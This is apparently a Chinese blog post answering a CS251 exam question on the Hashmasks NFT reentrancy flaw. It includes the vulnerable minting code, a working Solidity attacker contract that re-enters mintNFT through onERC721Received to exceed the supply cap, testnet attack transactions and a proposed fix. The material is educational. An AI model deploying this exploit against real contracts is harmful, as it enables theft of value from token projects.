qiwihui

Posted on Mar 14, 2022Read on Mirror.xyz

CS251 - final 2021 - 问题 4

问题4. [16 分]: Hashmasks 重入缺陷

在第8课和第3节中,我们讨论了 solidity 重入缺陷。在这个问题中,我们将看一个有趣的现实世界的例子。考虑下面16384个NFT中使用的 solidity 代码片段。通过调用此NFT合约上的 mintNFT() 函数,用户一次最多可以铸造20个NFT。您可以假设所有内部变量都由构造函数正确初始化(未显示)。

  function mintNFT(uint256 numberOfNfts) public payable {
    require(totalSupply() < 16384, 'Sale has already ended');
    require(numberOfNfts > 0, 'numberOfNfts cannot be 0');
    require(numberOfNfts <= 20, 'You may not buy more than 20 NFTs at once');
    require(totalSupply().add(numberOfNfts) <= 16384, 'Exceeds NFT supply');
    require(getNFTPrice().mul(numberOfNfts) == msg.value, 'Value sent is not correct');
    for (uint256 i = 0; i < numberOfNfts; i++) {
      uint256 mintIndex = totalSupply(); // get number of NFTs issued so far
      _safeMint(msg.sender, mintIndex); // mint the next one
    }
  }

  function _safeMint(address to, uint256 tokenId) internal virtual override {
    // Mint one NFT and assign it to address(to).
    require(!_exists(tokenId), 'ERC721: token already minted');
    _data = _mint(to, tokenId); // mint NFT and assign it to address to
    _totalSupply++; // increment totalSupply() by one
    if (to.isContract()) {
      // Confirm that NFT was recorded properly by calling
      // the function onERC721Received() at address(to).
      // The arguments to the function are not important here.
      // If onERC721Received is implemented correctly at address(to) then
      // the function returns _ERC721_RECEIVED if all is well.
      bytes4 memory retval = IERC721Receiver(to).onERC721Received(to, address(0), tokenId, _data);
      require(retval == _ERC721_RECEIVED, 'NFT Rejected by receiver');
    }
  }

让我们证明 _safeMint 根本不安全(尽管它的名字是安全)。

A)    假设已经铸造了16370个NFT,那么 totalSupply()=16370。请解释恶意合约如何导致超过16384个NFT被伪造。攻击者最多可以造出多少个NFT?

提示:如果在调用地址 onERC721Received 是恶意的,结果会怎样?请仔细检查铸币回路,并考虑重入缺陷。

答: 在已经 mint 16370 个NFT基础上,调用 mingNFT 可传入的最大 numberOfNfts 为 14 可以通过 mintNFT 开始五行的限制,当上述合约在调用地址 to 上的 onERC721Received 函数时,这个函数可以再次调用上述 mingNFT 函数,此时,在原来已经 mint 一个的基础上,传入的 numberOfNfts 为 13 个可以通过 mintNFT 的限制,然后重复同样的过程,依次可以 mint 12, 11 直到 1,最后在函数内部,已经没有其他限制,故这些数量的 NFT 均可以被 mint,所以理论上总共可以 mint 的数量为 $14+13+\dots+2+1=105$。

B)    假设现在总供给的价值是16370,请写出实施对(a)部分进行攻击的恶意Solidity合约代码。

答:

contract Attacker is IERC721Receiver {
  Hashmasks hashmasks;

  constructor(address _hashmasksAddress) {
    hashmasks = Hashmasks(_hashmasksAddress);
  }

  function attack() public payable{
    {
      uint256 num = hashmasks.balanceOf(address(this));
      // console.log("num: ", num);
      if (num < 14) {
        // 16384 - 16370 = 14
        hashmasks.mintNFT{value: 14-num}(14 - num);
      }
    }
  }

  function onERC721Received(
    address _from,
    address _to,
    uint256 _tokenId,
    bytes memory _data
  ) external returns (bytes4) {
    attack();
    return msg.sig;
  }
}

其中 attack 设置为 payable 是因为需要通过攻击合约调用 mintNFT 函数,需要发送一定数量的以太,可以选择在部署后先发送一定数量的以太到攻击者合约中,也可以将 attack 设置成 payable,在攻击的交易中发送以太到

实验:在 Rinkeby 上部署,攻击者合约地址为 0xf1eb80Bb66A70E44d42B3ceC0bC18Ec28B5F2Ea8,实际攻击的交易:https://rinkeby.etherscan.io/tx/0xb90496fd8789c3d1800df1bd3a571d019fb6158cbd521a9d05e57ad62460d15f,这个部署的合约中,NFT的价格设置为 1 wei,所以理论上只要发送 105 wei 到攻击这合约中,但是保险起见,发送了150wei,最后也可以看到攻击这合约中还剩下 45 wei。

C)    你会在前一页的代码中添加或更改哪一行Solidity来防止你的攻击?请注意,单个交易不应该铸造超过20个NFT。

答: 可以将 _safeMint 方法中, _totalSupply++; 这一行放到验证 NFT 的调用之后:

  function _safeMint(address to, uint256 tokenId) internal virtual override {
    // Mint one NFT and assign it to address(to).
    require(!_exists(tokenId), 'ERC721: token already minted');
    _data = _mint(to, tokenId); // mint NFT and assign it to address to
    
    if (to.isContract()) {
      // Confirm that NFT was recorded properly by calling
      // the function onERC721Received() at address(to).
      // The arguments to the function are not important here.
      // If onERC721Received is implemented correctly at address(to) then
      // the function returns _ERC721_RECEIVED if all is well.
      bytes4 memory retval = IERC721Receiver(to).onERC721Received(to, address(0), tokenId, _data);
      require(retval == _ERC721_RECEIVED, 'NFT Rejected by receiver');
    }
    _totalSupply++; // increment totalSupply() by one
  }

这样,当合约被重入攻击时,由于 _totalSupply 还没有增加,因此在第二次进入 mintNFT 函数时 mintIndex 的值是第一次 mint 的值,会导致触发 'ERC721: token already minted' 这个错误,有效保证合约安全。

    for (uint256 i = 0; i < numberOfNfts; i++) {
      uint256 mintIndex = totalSupply(); // get number of NFTs issued so far
      _safeMint(msg.sender, mintIndex); // mint the next one
    }

验证交易: https://rinkeby.etherscan.io/tx/0xa5f70a226c5fd64132eee800f8902ddb9b4ff562ff7f37820d11746fbde52acb

感谢 discord yyczz#5837 对于这个问题的指导。